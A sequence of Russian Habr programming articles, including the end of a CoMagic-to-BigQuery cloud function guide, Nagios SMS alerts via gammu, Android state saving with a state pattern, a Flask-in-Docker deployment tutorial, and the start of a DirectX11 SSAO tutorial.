https://cloud.google.com/functions/docs/writing/background#functions-writing-background-hello-pubsub-python"""
#import base64
#pubsub_message = base64.b64decode(event['data']).decode('utf-8')
#создает иcточник данных и место назначения данных
comagic_handler = ComagicHandler(COMAGIC_LOGIN, COMAGIC_PASSWORD, FIRST_CALL_DATE)
bq_handelr = BQTableHanler(full_table_id, google_credintials_key_path)
#созздаем коннектор
connector = Connector(comagic_handler, bq_handelr)
#обновляем данные в месте назначения
connector.update_dest_data()
```
Настраиваем Google Cloud Platform
---------------------------------
Собираем все файлы в ZIP-архив. В файл credfile.py прописываем логин и пароль от CoMagic для получения токена, а также полное название таблицы в BigQuery и путь до файла сервисного аккаунта, если скрипт запускается с локальной машины.
### Создаем Cloud Function
* Переходим в [консоль](https://console.cloud.google.com/functions)
* Если еще не создана ни одна функция кликаем “Создать функцию”
* В поле триггера выбираем PUB/SUB
* Создаем новую тему для PUB/SUB. Например ‘update\_calls’
* Источник: ZIP upload (локальный ZIP-файл)
* Среда: Python 3.7
* Загружаем ZIP-файл
* Выбираем временный сегмент Cloud Storage
* В поле `вызываемая функция` прописываем ‘main’
* Выделенный объем памяти: по усмотрению
### Настраиваем Scheduler и PUB/SUB
На прошлом шаге мы создали триггер `update\_calls`. Эта тема автоматические появилась в [списке тем](https://console.cloud.google.com/cloudpubsub/topic).
Теперь, с помощью Cloud Sсheduler нужно настроить триггер. когда он будет срабатывать и будет запускаться GCF.
* Переходим в [консоль](https://console.cloud.google.com/cloudscheduler)
* В поле периодичность в формате CRON устанавливаем когда должен срабатывать триггер и запускаться функция.
* Место назначения: Pub/Sub
* Тема: прописываем ту тему, которую указывали при создании функции: “update\_calls”
* Полезная нагрузка\* (Payloads) — это информация, которая будет передана в Pub/Sub и в функцию main
Теперь скрипт будет запускаться ежедневно в 01:00 и данные о звонках будут обновлены на конец предыдущего дня.
[Ссылка](https://github.com/dmitrkozlovsk/comagicbq) на GitHub для запуска с локального компьютера
[Ссылка](https://github.com/dmitrkozlovsk/comagicbq/blob/master/comagic_to_bq_function.zip) на GitHub на ZIP-файл | https://habr.com/ru/post/475804/ | null | ru | null |
# Nagios + SMS используя мобильный телефон
Несколькими постами раньше уже были темы об использовании SMS уведомлений в Nagios. Сегодня я расскажу ещё об одном способе уведомлений. Нижеописанный способ несколько надёжнее описанных ранее, но и требует некоторых денежных вложений. Он полезен в том случае, когда какие-то из уведомлений являются критически важными (как, например, выход кондиционера из строя или увеличение влажности).
Способ заключается использовании мобильного телефона с корпоративным тарифом (дабы деньги на телефоне не кончились неожиданно).
Физически подключается к серверу по bluetooth, com или usb. На уровне ПО мы будем использовать два скрипта: один из них умеет отправлять sms, второй проверяет статус мобильной сети. Если мобильная сеть недоступна, то nagios отправляет сообщение на email.
Оба скрипта написаны на python и используют библиотеку gammu для подключения к телефону.
#### Первый скрипт: **check\_sendsms.py** — проверка статуса сети
```
#!/usr/bin/env python
import gammu
import sys
# Create state machine object
sm = gammu.StateMachine()
# Read /etc/gammurc
sm.ReadConfig()
# Connect to phone
sm.Init()
# Reads network information from phone
netinfo = sm.GetNetworkInfo()
# Print information
print 'State: %s' % netinfo['State']
if netinfo['State'] != "HomeNetwork":
sys.exit(2)
```
#### Второй скрипт: **sendsms.py** — собственно отправка sms
```
#!/usr/bin/env python
import gammu
import sys
if len(sys.argv) != 3:
print 'Usage: sendsms.py number1[,number2][...] "message"'
sys.exit(1)
# we are going to send first 160 characters only
text_message=sys.argv[2][:160]
# connect to phone
sm = gammu.StateMachine()
# Read /etc/gammurc
sm.ReadConfig()
sm.Init()
# send messages
for phone_number in sys.argv[1].split(','):
sms_message = {'Text': text_message, 'SMSC': {'Location': 1}, 'Number': phone_number}
try:
sm.SendSMS(sms_message)
except:
print "Sorry, I can't send message to %s" % phone_number
```
#### Несколько комментариев
* Скрипт sendsms.py в качестве первого параметра принимает номера телефонов в виде +7xxxxxxxxxx через запятую, и в качестве второго текст сообщениея. Кроме того, SMS-сообщение урезается до 160-ти символов, дабы не усложнять систему использованием Multi Part SMS.
* Примеры команд отправки уведомлений nagios по sms
```
# 'notify-service-by-sms' command definition
define command{
command_name notify-service-by-sms
command_line /etc/_orga/nagios/nagios-sms/sendsms.py $CONTACTPAGER$ "Nagios - $NOTIFICATIONTYPE$ : $HOSTALIAS$/$SER
VICEDESC$ is $SERVICESTATE$ ($SERVICEOUTPUT$)"
}
# 'notify-host-by-sms' command definition
define command{
command_name notify-host-by-sms
command_line /etc/_orga/nagios/nagios-sms/sendsms.py $CONTACTPAGER$ "Nagios - $NOTIFICATIONTYPE$ : Host $HOSTALIAS$
is $HOSTSTATE$ ($HOSTOUTPUT$)"
}
```
* Пример команды проверки статуса сети
```
# 'check_sendsms' command definition
define command{
command_name check_sendsms
command_line $USER1$/check_sendsms.py
}
```
* ```
/etc/gammurc для bluetooth будет выглядеть следующим образом
[gammu]
port = /dev/rfcomm0
connection=at19200
``` | https://habr.com/ru/post/96610/ | null | ru | null |
# Cохранение состояний в android приложениях
Сегодня я хотел поделиться с вами еще одним подходом сохранения состояния при разработке android приложений. Не для кого не секрет, что наше приложение в фоне может быть убито в любой момент и эта проблема становится все актуальнее с вводом агрессивного энергосбережения – привет **Oreo**. Также никто не отменял смену конфигурации на телефоне: ориентация, смена языка и т.д. И чтобы открыть приложение из бэкграунда и отобразить интерфейс в последнем состоянии нам нужно позаботиться о его сохранении. Ох уж этот **onSaveInstanceState**.
Сколько боли он нам принес.
Далее я буду приводить примеры, ипользуя **Clean Achitecture** и **Dagger2**, так что будьте готовы к этому:)
Вопрос сохранения состояния в зависимости от задач можно решить несколькими способами:
1. Сохранять первичные данные в **onSaveInstanceState** хоста (Activity, Fragment) — такие как айдишник страницы, пользователя, да что угодно. То, что нам требуется для первичного получения данных и отображения страницы.
2. Сохранять полученные данные в интеракторе в репозитории (SharedPreference, Database.
3. Использовать ретеин фрагменты для сохранения и восстановления данных при пересоздании активити.
Но что делать, если нам нужно восстановить состояние ui, а также текущую реакцию интерфейса на действие пользователя? Для большей простоты рассмотрим решение этой задачи на реальном примере. У нас есть страница логина — пользователь вводит свои данные, нажимает на кнопку и тут к нему поступает входящий звонок. Наше приложение уходит в бэкграунд. Его убивает система. Звучит страшновато, не правда ли?)
Пользователь возвращается к приложению и что он должен увидеть? Как минимум, продолжение операции логина и показ прогресса. Если приложение успело пройти логин до вызова метода onDestroy хоста, то тогда пользователь увидит навигацию на стартовый экран приложения. Данное поведение можно с легкостью решить, используя паттерн состояния (State machine). Очень хороший [доклад от яндекс](https://www.youtube.com/watch?v=U3StVUzqmzc). В этой же статье постараюсь поделиться пережеванными мыслями по этому докладу.
Теперь немного кода:
**BaseState**
```
public interface BaseState extends Parcelable{
/\*\*
\* Get name
\*
\* @return name
\*/
@NonNull
String getName();
/\*\*
\* Enter to state
\*
\* @param aView view
\*/
void onEnter(@NonNull VIEW aView);
/\*\*
\* Exit from state
\*/
void onExit();
/\*\*
\* Return to next state
\*/
void forward();
/\*\*
\* Return to previous state
\*/
void back();
/\*\*
\* Invalidate view
\*
\* @param aView view
\*/
void invalidateView(@NonNull VIEW aView);
/\*\*
\* Get owner
\*
\* @return owner
\*/
@NonNull
OWNER getOwner();
/\*\*
\* Set owner
\*
\* @param aOwner owner
\*/
void setOwner(@NonNull OWNER aOwner);
}
```
**BaseOwner**
```
public interface BaseOwner extends BasePresenter{
/\*\*
\* Set state
\*
\* @param aState state
\*/
void setState(@NonNull STATE aState);
}
```
**BaseStateImpl**
```
public abstract class BaseStateImpl implements BaseState{
private OWNER mOwner;
@NonNull
@Override
public String getName(){
return getClass().getName();
}
@Override
public void onEnter(@NonNull final VIEW aView){
Timber.d( getName()+" onEnter");
//depend from realization
}
@Override
public void onExit(){
Timber.d(getName()+" onExit");
//depend from realization
}
@Override
public void forward(){
Timber.d(getName()+" forward");
onExit();
//depend from realization
}
@Override
public void back(){
Timber.d(getName()+" back");
onExit();
//depend from realization
}
@Override
public void invalidateView(@NonNull final VIEW aView){
Timber.d(getName()+" invalidateView");
//depend from realization
}
@NonNull
@Override
public OWNER getOwner(){
return mOwner;
}
@Override
public void setOwner(@NonNull final OWNER aOwner){
mOwner = aOwner;
}
```
В нашем случае state owner будет презентер.
Рассматривая страницу логина можно выделить три уникальных состояния:
*LoginInitState*, *LoginProgressingState*, *LoginCompleteState*.
Итак, рассмотрим теперь, что происходит в этих состояниях.
*LoginInitState* у нас происходит валидация полей и в случае успешной валидации кнопка login становится активной.
В *LoginProgressingState* делается запрос логина, сохраняется токен, делаются дополнительные запросы для старта главной активити приложения.
В *LoginCompleteState* осуществляется навигация на главный экран приложения.
Условно переход между состояниями можно отобразить на следующей диаграмме:
Выход из состояния *LoginProgressingState* происходит в случае успешной операции логина в состояние *LoginCompleteState*, а в случае сбоя в *LoginInitState*. Таким образом, когда у нас вьюха детачится, мы имеем вполне детерменированное состояние презентера. Это состояние мы должны сохранить, используя стандартный механизм андроида **onSaveInstanceState**. Для того, чтобы мы могли это сделать, все состояния логина должны имплементировать интерфейс **Parcelable**. Поэтому расширяем наш базовый интерфейс **BaseState**.
Далее у нас встает вопрос, как пробросить это состояние из презентера в наш хост? Самый простой способ — из хоста попросить данные у презентера, но с точки зрения архитектуры это выглядит не очень. И поэтому нам на помощь приходят retain фрагменты. Мы можем создать интерфейс для кэша и имплементировать его в таком фрагменте:
```
public interface Cache{
/**
* Save cache data
*
* @param aData data
*/
void saveCacheData(@Nullable Parcelable aData);
@Nullable
Parcelable getCacheData();
/**
* Check that cache exist
*
* @return true if cache exist
*/
boolean isCacheExist();
}
```
Далее мы инжектим кэш фрагмент в конструктор интерактора, как Cache. Добавляем методы в интеректоре для получения и сохранения состояния в кэше. Теперь, при каждом изменении состояния презентера, мы можем сохранить состояние в интеракторе, а интерактор сохраняет в свою очередь в кэше. Все становится весьма логично. При первичной загрузке хоста, презентер получает состояние у интерактора, который в свою очередь получает данные из кэша. Так выглядит метод изменения состояния в презентере:
```
@Override
public void setState(@NonNull final LoginBaseState aState){
mState.onExit();
mState = aState;
clearDisposables();
mState.setOwner(this);
mState.onEnter(getView());
mInteractor.setState(mState);
}
```
Хочется отметить такой момент — сохранение данных через кэш можно производить для любых данных, не только для состояния. Возможно, вам придется сделать свой уникальный кэш фрагмент для хранения текущих данных. В данной статье рассказан общий подход. Также хочется отметить, что рассматриваемая ситуация очень утрированная. В жизни приходится решать задачи намного сложнее. К примеру, у нас в приложении были совмещены три страницы: логин, регистрация, восстановления пароля. При этом диаграмма состояний выглядела следующим образом:
В итоге, используя паттерн состояний и подход, описанный в статье, нам удалось сделать код более читаемым и поддерживаемым. И что не мало важно — восстанавливать текущее состояние приложения.
Полный код можно посмотреть [в репозитории](https://github.com/kveretelnikov/CleanArchitecture/tree/develop). | https://habr.com/ru/post/420023/ | null | ru | null |
# Краткая история о том, как развернуть веб-сервер Flask в docker контейнере
> **Для чего вообще нужен docker контейнер?** Обычно, во время разработки, для каждого проекта вы настраиваете своё окружение. Но вот произошла такая ситуация: что-то случилось с вашим компьютером и приходится переустанавливать операционную систему(ОС). Соответственно, чтобы запустить ваш проект, необходимо настраивать окружение заново. Бывает ещё гигантское количество ситуаций, которые сводятся к одной проблеме - **настройка окружения для разработки.** Так вот Docker - коробка, которую достаточно единожды настроить под проект, чтобы в дальнейшем не было проблем с эксплуатацией/расширением сервиса
>
>
Для начала необходимо установить Docker Engine [по одной из этих инструкций](https://docs.docker.com/engine/install/)
Следующим этапом устанавливаем Docker Compose - к счастью, [эта инструкция](https://docs.docker.com/compose/install/) меньше =)
Поздравляю! Вы проделали треть работы
Давайте создадим структуру нашего проекта.
```
- backend/
- main.py
- requirements.txt
- Dockerfile
- docker-compose.yml
```
В файле **requirements.txt** у нас будут прописаны, скачиваемые для проекта библиотеки.
```
Flask==1.1.2
```
В **main.py** содержится простенький сервер для проверки работоспособности контейнера.
```
from flask import Flask
app = Flask(__name__)
@app.route('/')
def hello_world():
return "Hello, World!"
if \_\_name\_\_ == '\_\_main\_\_':
app.run(host='0.0.0.0')
===========================================================================
```
И, переходя к самому сладкому, расскажу про ещё одну важную вещь - DockerHub. Это место, где разработчики размещают свои созданные образы контейнеров. Вы тоже можете разместить свой образ на этой площадке.
Перейдём к следующему шагу - **созданию Dockerfile**.
```
# Выкачиваем из dockerhub образ с python версии 3.9
FROM python:3.9
# Устанавливаем рабочую директорию для проекта в контейнере
WORKDIR /backend
# Скачиваем/обновляем необходимые библиотеки для проекта
COPY requirements.txt /backend
RUN pip3 install --upgrade pip -r requirements.txt
# |ВАЖНЫЙ МОМЕНТ| копируем содержимое папки, где находится Dockerfile,
# в рабочую директорию контейнера
COPY . /backend
# Устанавливаем порт, который будет использоваться для сервера
EXPOSE 5000
```
Но **Dockerfile -** это лишь организация рабочего пространства внутри нашего контейнера. Так как запросы поступают извне, необходимо настроить инфраструктуру. Для этого нам нужен **docker-compose.yml**.
```
version: '3'
services:
flask:
# Путь до Dockerfile
build: ./backend
# Имя для создаваемого контейнера
container_name: backend-flask
# Создание переменных окружения в контейнере
environment:
# для отладки (при запуске в релиз убрать!)
- FLASK_ENV=development
## Позволяет отслеживать процесс работы приложения в командной строке
- PYTHONUNBUFFERED=True
##
# Перезапускаем сервис в случае падения
restart: on-failure
# Прокладывам путь для файлов. Все файлы, которые хранятся у вас в
# директории ./backend, появятся в директории контейнера /backend
volumes:
- ./backend:/backend
# Открываем порт в контейнер
# Порт, который будет смотреть наружу : порт который используется внутри контейнера
ports:
- "5000:5000"
command: python main.py
```
Всё готово, осталось только запустить командой `docker-compose up`из директории с файлом **docker-compose.yml**.
Сервер на ПРОКАЧКУ
------------------
Круто! Теперь у нас есть веб-сервер, который развёрнут при помощи контейнеров, но этого всё ещё мало. Нам нужна более серьёзная архитектура, как у крутых проггеров. Давайте её прокачаем!
Добавим к нашему проекту gunicorn для будущего распределения нагрузки.
**requirements.txt**
```
Flask==1.1.2
gunicorn==20.0.4
```
И расширим нашу структуру приложения. Теперь приложение выглядит так.
```
- backend/
- app/
- __init__.py
- routes.py
- config.py
- modules/
- hello_world.py
- main.py
- requirements.txt
- Dockerfile
- settings.ini
- docker-compose.yml
```
Как вы наверняка заметили, в структуру добавились файл **settings.ini,** папка для инициализации нашего приложения и страничка **modules/hello\_world.py**.
Обо всём по порядку.
### Инициализация приложения
В файл **app/\_\_init\_\_.py** импортируем библиотеки. Заранее импортируем наши компоненты, которые опишем чуть ниже.
```
import os
from flask import Flask
from app.routes import route
from app.config import config, init_config
```
Создадим функцию, которая будет создавать наше приложение.
```
def create_flask_app():
app = Flask(__name__)
return app
```
В функции инициализируем пути к модулям(routes), подключим файл с конфигом и обновим конфигурацию приложения.
```
def create_flask_app():
app = Flask(__name__)
# Подключаем все роуты приложения
route(app)
# Считываем переменную окружения "CONFIG_PATH", если она есть,
# то берём путь из неё, иначе указанный по умолчанию "./settings.ini"
path = os.environ.get('CONFIG_PATH') if os.environ.get(
'CONFIG_PATH') else "./settings.ini"
# Инициализируем конфиг по вышеуказанному пути
init_config(path)
# Обновляем конфигурацию приложения Flask
# Если файл не найден или данные которые используются при обновлении отсутствуют,
# то вылетит Exception - KeyError
try:
app.config.update(dict(
SECRET_KEY=str(config['FLASK_APP']['FLASK_APP_SECRET_KEY'])
))
print(f"\n\033[32m Сервер запустился с конфигом:\n\033[32m {path}\n")
except KeyError:
print(f"\033[31m Файл {path} не найден или неверный")
return app
```
В конечном итоге, файл **app/\_\_init\_\_.py** выглядит так.
```
import os
from flask import Flask
from app.routes import route
from app.config import config, init_config
def create_flask_app():
app = Flask(__name__)
route(app)
path = os.environ.get('CONFIG_PATH') if os.environ.get(
'CONFIG_PATH') else "./settings.ini"
init_config(path)
try:
app.config.update(dict(
SECRET_KEY=str(config['FLASK_APP']['FLASK_APP_SECRET_KEY'])
))
print(f"\n\033[32m Сервер запустился с конфигом:\n\033[32m {path}\n")
except KeyError:
print(f"\033[31m Файл {path} не найден или неверный")
return app
```
Теперь можно и переписать **app/main.py**.
```
from app import create_flask_app
if __name__ == "__main__":
create_flask_app().run(host='0.0.0.0')
```
После всех изменений с инициализацией приложения нужно поменять в **docker-compose.yml** команду запуска приложения.
```
# Заменить
command: python main.py
# на
command: gunicorn main:"create_flask_app()" -b 0.0.0.0:5000 --reload
# gunicorn запускает в файле main.py, функцию create_flask_app по адресу 0.0.0.0:5000
```
### Конфигурационный файл
> Во время разработки в приложении частенько, могут встречаться, данные вроде паролей, адресов, портов, токенов и прочих секретных вещей, которые нельзя оставлять в коде. Для этого всё выносится в отдельный файл (который, конечно же, никуда не выкладывается :))
>
>
За инициализацию конфига будет отвечать **config.py**.
```
import os
import configparser
config = configparser.ConfigParser()
def init_config(path):
config.optionxform = str
config.read(path)
```
### Прорубаем путь до вашей странички
> Дело в том, что в первой версии нашего приложения адрес для страницы указывали в декораторе app `@app.route('/')` , но так как app теперь используется только для инициализации, то нам нужно его чем-то заменить. Здесь нас выручит класс Blueprint. Blueprint используется для создания модульных приложений Flask`а.
>
>
Для начала, создадим страничку в файле **modules/hello\_world.py**.
```
from flask import Blueprint
hello_world_bp = Blueprint('hello_world', __name__)
@hello_world_bp.route('/')
def hello_world():
return "Hello, World!"
==============
```
После того, как создали новый модуль приложения, необходимо сказать Flask`у, где он располагается (зарегистрировать модуль). Здесь и нужен файл **routes.py**.
```
from modules.hello_world import hello_world_bp
def route(app):
app.register_blueprint(hello_world_bp)
```
Теперь при попытке запустить приложение `docker-compose up --build` *(флаг build нужен для пересборки контейнера, т.к. добавили новые пакеты для скачивания)* должна вылететь ошибка о том, что что-то не так с нашим конфигом.
```
Starting backend-flask ... done
Attaching to backend-flask
backend-flask | [2020-12-26 09:05:41 +0000] [1] [INFO] Starting gunicorn 20.0.4
backend-flask | [2020-12-26 09:05:41 +0000] [1] [INFO] Listening at: <http://0.0.0.0:5000> (1)
backend-flask | [2020-12-26 09:05:41 +0000] [1] [INFO] Using worker: sync
backend-flask | [2020-12-26 09:05:41 +0000] [7] [INFO] Booting worker with pid: 7
backend-flask | Файл ./settings.ini не найден или неверный
```
Заходим в **settings.ini** и добавляем значение, которое отсутствовало.
```
[FLASK_APP]
FLASK_APP_SECRET_KEY=Super_slojniy_secret_key
```
Запускаем приложение и радуемся
```
Starting backend-flask ... done
Attaching to backend-flask
backend-flask | [2020-12-26 09:12:34 +0000] [1] [INFO] Starting gunicorn 20.0.4
backend-flask | [2020-12-26 09:12:34 +0000] [1] [INFO] Listening at: <http://0.0.0.0:5000> (1)
backend-flask | [2020-12-26 09:12:34 +0000] [1] [INFO] Using worker: sync
backend-flask | [2020-12-26 09:12:34 +0000] [7] [INFO] Booting worker with pid: 7
backend-flask |
backend-flask | Сервер запустился с конфигом:
backend-flask | ./settings.ini
backend-flask |
```
Поздравляю, вы прекрасны! =)
 | https://habr.com/ru/post/541826/ | null | ru | null |
# Screen Space Ambient Occlusion
Далее будет рассказано о том, как реализовать метод расчета рассеянного освещения Screen Space Ambient Occlusion на языке программирования С++ с использованем API DirectX11.
Рассмотрим формулу расчета цвета пикселя на экране при использовании, например, параллельного источника освещения:
> LitColor = Ambient + Diffuse + Specular
Или, говоря более формально, сумму рассеянного, поглощенного и зеркального освещений. Каждый из них вычисляется так:
> (цвет материала) \* (цвет источника) \* (коэффициент интенсивности)
Долгое время в приложениях интерактивной графики коэффициент интенсивности рассеянного (Ambient) освещения был константным, но теперь мы можем рассчитать его в реальном времени. Я бы хотел рассказать об одном из таких методов — ambient occlusion, а точнее его оптимизации — screen space ambient occlusion. Поговорим сперва о методе ambient occlusion. Его суть в следующем — для каждой вершины сцены сформировать некий фактор, который будет определять степень «видимости» остальной сцены.
*Рис.1 — рисунок с комнатой и двумя точками, «видимость» каждой точки изображена в виде сферы*
Итак, для каждой вершины в случайных направлениях пустим лучи и найдем их пересечение с геометрией сцены. Далее посчитаем длину получившейся линии (если пересечение не было найдено, будем считать, что луч имеет некую максимальную для данной сцены длину) и сравним ее с пороговым значением. Если длина превышает пороговое значение — тогда луч проходит тест на «видимость».Количество пройденных тестов, деленное на количество пущенных лучей, и будет являться фактором «видимости».
Очевидно, что высокая вычислительная сложность алгоритма делает его неприменимым в реальном времени или для сцен с высокой динамикой объектов. Также эффективность метода сильно зависит от полигональной сложности сцены. Такой подход разумно применять, когда есть возможность заранее посчитать «видимость» и сохранить ее как часть данных вершин или в текстуре.
К счастью, ребята из CryTeck (по крайней мере, я слышал, что они были первыми) придумали способ, как рассчитать коэффициент в реальном времени. Он называется Screen Space Ambient Occlusion.
Алгоритм моей реализации следующий:
* **1.** Берем NDC(normalized device coordinates) или текстурные координаты пикселя и преобразуем их в точку в пространстве камеры, используя при этом данные глубины;
* **2.** Из этой точки в случайных направлениях пускаем N лучей;
* **3.** Для каждого из N лучей:
+ **3-а.** умножаем (масштабируем) наш луч (вектор) на некое число (скаляр) и прибавляем его к точке из п.1;
+ **3-b.** Преобразуем полученную точку в пространство NDC, а затем в текстурные координаты;
+ **3-c.** Из текстуры получаем значение глубины для этой точки;
+ **3-e.** Если полученное значение меньше глубины точки, полученной в п.3-а, то имеет место «перекрытие» (см. рис.2). Надо учесть, чтобы эти значения принадлежали одной системе координат;
+ **3-f.** Получаем фактор «перекрытия» исходя из зависимости «Чем дальше точка из п.3-а от точки из п.1, тем потенциально меньше возможное перекрытие от этой точки». Аккумулируем его значение.
* **4.** Получаем общий фактор «перекрытия», который равен общему суммарному перекрытию / N лучей. Tак как общий фактор принадлежит [0,1], а видимость обратно пропорциональна перекрытию, то она равняется 1 — перекрытие.
*Рис.2 — синим цветом изображен вектор нормали, красным цветом изображен вектор, полученный в п.3-а. Светло зеленый вектор — направление оси Z. Если значение глубины в точке A больше, чем в точке B — это перекрытие. Для наглядности на рисунке используется ортогональная проекция (поэтому линия AB — прямая)*
Применяя данный алгоритм в пиксельном шейдере, мы можем получить данные видимости, если запишем результат рендеринга в текстуру. Данные из этой текстуры можно в дельнейшем использовать при расчете освещенности сцены.
Итак, начнем.
### 1. Преобразования
Для того, чтобы из трехмерных координат получить координаты экранные, нам надо совершить ряд матричных преобразований.
В общем виде таких преобразований выделяют три:
* **1.** Из локальных координат в мировые — перевести все объекты в общую систему координат
* **2.** Из мировых координат в видовые координаты — ориентировать все объекты относительно «камеры»
* **3.** Из видовых координат в координаты проекции — спроецировать вершины объектов на плоскость. Мы используем перспективную проекцию, которая подразумевает так называемое однородное деление (Homogeneous divide) — деление компонент x и у вершины на ее глубину — компоненту z.
Пункты 1 и 2 для нас не важны, поэтому перейдем сразу к п.3. Посмотрим на матрицу проекции:
После умножения на эту матрицу координаты из пространства камеры переходят в пространство проекции
Далее следует однородное деление, в результате этого мы переходим в пространство NDC
Теперь посмотрим, как осуществить обратное преобразование. Очевидно, сперва нам в шейдере нужны координаты пикселя. Я считаю, что удобнее всего использовать покрывающий всю экранную область квадрат в NDC пространстве с текстурными координатами от (0,0) до (1,1). Вот данные вершин:
```
struct ScreenQuadVertex
{
D3DXVECTOR3 pos = {0.0f, 0.0f, 0.0f};
D3DXVECTOR2 tc = {0.0f, 0.0f};
ScreenQuadVertex(){}
ScreenQuadVertex(const D3DXVECTOR3 &Pos, const D3DXVECTOR2 &Tc) : pos(Pos), tc(Tc){}
};
std::vector vertices = {
{{-1.0f, -1.0f, 0.0f}, {0.0f, 1.0f}},
{{-1.0f, 1.0f, 0.0f}, {0.0f, 0.0f}},
{{ 1.0f, 1.0f, 0.0f}, {1.0f, 0.0f}},
{{ 1.0f, -1.0f, 0.0f}, {1.0f, 1.0f}},
};
```
Также надо установить точечную интерполяцию данных текстуры, например D3D11\_FILTER\_MIN\_MAG\_MIP\_POINT. Рисуя этот квадрат, мы можем либо «пробросить» данные вершины в пиксельный шейдер таким образом:
```
VOut output;
output.posN = float4(input.posN, 1.0f);
output.tex = input.tex;
output.eyeRayN = float4(output.posN.xy, 1.0f, 1.0f);
```
Либо непосредственно в пиксельном шейдере преобразовать интерполированные текстурные координаты в NDC пространство вот так (подробнее о данном преобразовании см. в главе 3):
```
float4 posN;
posN.x = (Input.tex.x * 2.0f) - 1.0f;
posN.y = (Input.tex.y * -2.0f) + 1.0f;
```
Координаты пикселя в NDC пространстве у нас есть — теперь нужно перейти в видовое пространство. Исходя из свойства матриц:
Для наших целей надо иметь обратную матрицу проекции. Она выглядит так:
Но нам не достаточно просто умножить на нее двухмерную точку в NDC пространстве и совершить однородное деление — нам нужно также иметь данные о глубине точки, которую мы преобразовываем. Я хочу использовать глубину в пространстве вида — давайте проведем несколько алгебраических преобразований и узнаем, возможно ли это. Сперва выразим переход точки из видового в NDC пространство:
Теперь произведем умножение на обратную матрицу проекции:
Затем упростим X и Y и раскроем скобки в W:
Далее продолжим упрощение в W:
И последний штрих — сокращаем 1/n:
Выходит, что после умножения на обратную матрицу проекции нам нужно умножить результат на глубину в пространстве вида.Так и поступим. Сперва подготовим данные в пространстве NDC в вершинном шейдере:
```
output.eyeRayN = float4(output.posN.xy, 1.0f, 1.0f);
```
Затем проделаем основную работу в пиксельном шейдере:
```
float4 normalDepthData = normalDepthTex.Sample(normalDepthSampler, input.tex);
float3 viewRay = mul(input.eyeRayN, invProj).xyz;
viewRay *= normalDepthData.w;
```
Координаты в пространстве вида у нас есть. Идем дальше.
### 2. Трассировка лучей
**2.1 Данные смещения**
Итак, у нас есть координаты обрабатываемого пикселя в пространстве вида. Далее из точки с этими координатами нам надо пустить N лучей в случайных направлениях. К сожалению в API HLSL нет инструмента, с помощью которого мы могли бы получить случайное или псевдослучайное значение в процессе выполнения шейдера независимо от внешних данных (ну или я просто не знаю о существовании подобных технологий) — следовательно, мы подготовим такие данные заранее. Для того чтобы получить их в шейдере, проще всего использовать текстуру. Очевидно, что от формата пикселя зависит ее «вес» и предел значений данных. Для наших целей вполне подойдет формат DXGI\_FORMAT\_R8G8B8A8\_UNORM. Теперь давайте разберемся с размером. Наверное, самый простой, наглядный и вместе с тем неоптимальный способ — создать текстуру с длиной и шириной равными разрешению экрана. В этом случае мы просто выбираем данные по значению текстурных координат квадрата, которые, напомню, находятся в пределах от (0,0) до (1,1). Но что будет, если мы выйдем за эти пределы? Тогда в игру вступают правила, указанные в перечислении D3D11\_TEXTURE\_ADDRESS\_MODE. В данном случае нас интересует значение D3D11\_TEXTURE\_ADDRESS\_MIRROR. Результат работы этого правила адресации показан на рис.3
*Рис.3 — пример использования D3D11\_TEXTURE\_ADDRESS\_MIRROR"*
Если мы будем использовать данный подход, то для наших целей различия будут допустимы (см. рис.4).
*Рис.4 — примитив с наложением текстуры 256х256 и с координатами от 0 до 1 и примитив с наложением текстуры 4х4 с координатами от 0 до 64 и адресацией D3D11\_TEXTURE\_ADDRESS\_MIRROR*
Теперь, наконец, давайте заполним текстуру данными. В шейдере мы будем формировать вектор случайного направления из компонентов R,G и B текселя, поэтому альфа канал мы не используем (его вы можете рассматривать как компонент W, который для векторов в однородном пространстве равен нулю). В итоге код примерно такой:
```
for(int y = 0; y < texHeight; y++){
for(int x = 0; x < texWidth; x++){
char* channels = reinterpret_cast(&data[y \* texWidth + x]);
channels[0] = rand() % 255; //r
channels[1] = rand() % 255; //g
channels[2] = rand() % 255; //b
channels[3] = 0; //a
}
}
```
Также хочу обратить внимание на то, что чем меньше размер текстуры, тем «чище» получится изображение (см. рис.5):
*Рис.5 — демонстрация различия между текстурами смещений размеров 128х128 и 4х4*
Ну вот, наша текстура готова — осталось только получить эти данные в шейдере. Но мы помним, что у нас есть текстурные координаты от 0 до 1, а нам надо использовать координаты от 0 до N, где N > 0. Решается эта задача очень просто на этапе подготовки шейдера — надо узнать, на сколько нужно умножить длину и на сколько нужно умножить ширину текстуры для того, чтобы она заняла весь экран. Предположим, что разрешение экрана 1024х768, а размер текстуры 2х4, тогда получим:
Теперь выразим коэффициенты:
В итоге получаем такой код:
```
float2 rndTexFactor(fWidth, fHeight);
float3 rndData = tex.Sample(randomOffsetsSampler, input.tex * rndTexFactor).rgb;
```
Возможно, в вашем случае более рационально будет хранить эти координаты выборки из текстуры смещения как данные вершин, тем самым получая уже готовое интерполированное значение.
Далее, так как мы выбрали формат DXGI\_FORMAT\_R8G8B8A8\_UNORM, наше смещение находится в пространстве от 0 до 1. Перенесем его в пространство (-1, 1) (подробное описание преобразования см. в главе 3):
```
rndData = normalize(2.0f * rndData - 1.0f);
```
Теперь у нас есть вектор смещения!
**2.2 Ядро векторов смещения**
Один вектор — это конечно хорошо, но нам ведь надо пустить N векторов. Мы можем получить некий фактор смещения текстурных координат в пределах от 0 до N и делать что-то подобное:
```
for(int i = 0; i < N; i++){
float3 rndData = tex.Sample(randomOffsetsSampler, input.tex * rndTexFactor + Offset * i).rgb;
rndData = normalize(2.0f * rndData - 1.0f);
/*...*/
}
```
Этот вариант слишком ресурсоемкий. Давайте постараемся получить приемлемый результат используя лишь одну выборку из текстуры. Наша цель — добиться относительно разнородного распределения векторов как в пределах обрабатываемого пикселя, так и относительно соседних. Давайте возьмем N заранее подготовленных случайных векторов и каждый из них применим к нашему вектору смещения с определенной математической операцией. Этот набор назовем «Ядром векторов смещения». Уверяю вас, это проще чем я описал )
Подготовим наше ядро:
```
std::vector kernel(KernelSize);
int i = 0;
for(D3DXVECTOR4 &k : kernel){
k.x = Math::RandSNorm();
k.y = Math::RandSNorm();
k.z = Math::RandSNorm();
k.w = 0.0f;
D3DXVec4Normalize(&k, &k);
FLOAT factor = (float)i / KernelSize;
k \*= Math::Lerp(0.1f, 0.9f, factor);
i++;
}
```
Значения для каждой компоненты генерируются от -1 до 1. Обратите внимание, что векторы не единичной длины. Это важно, так как в существенной степени влияет на итоговое изображение. На рис. 6 видно, что векторы не единичной длины при их проецировании образуют более сосредоточенное множество точек.
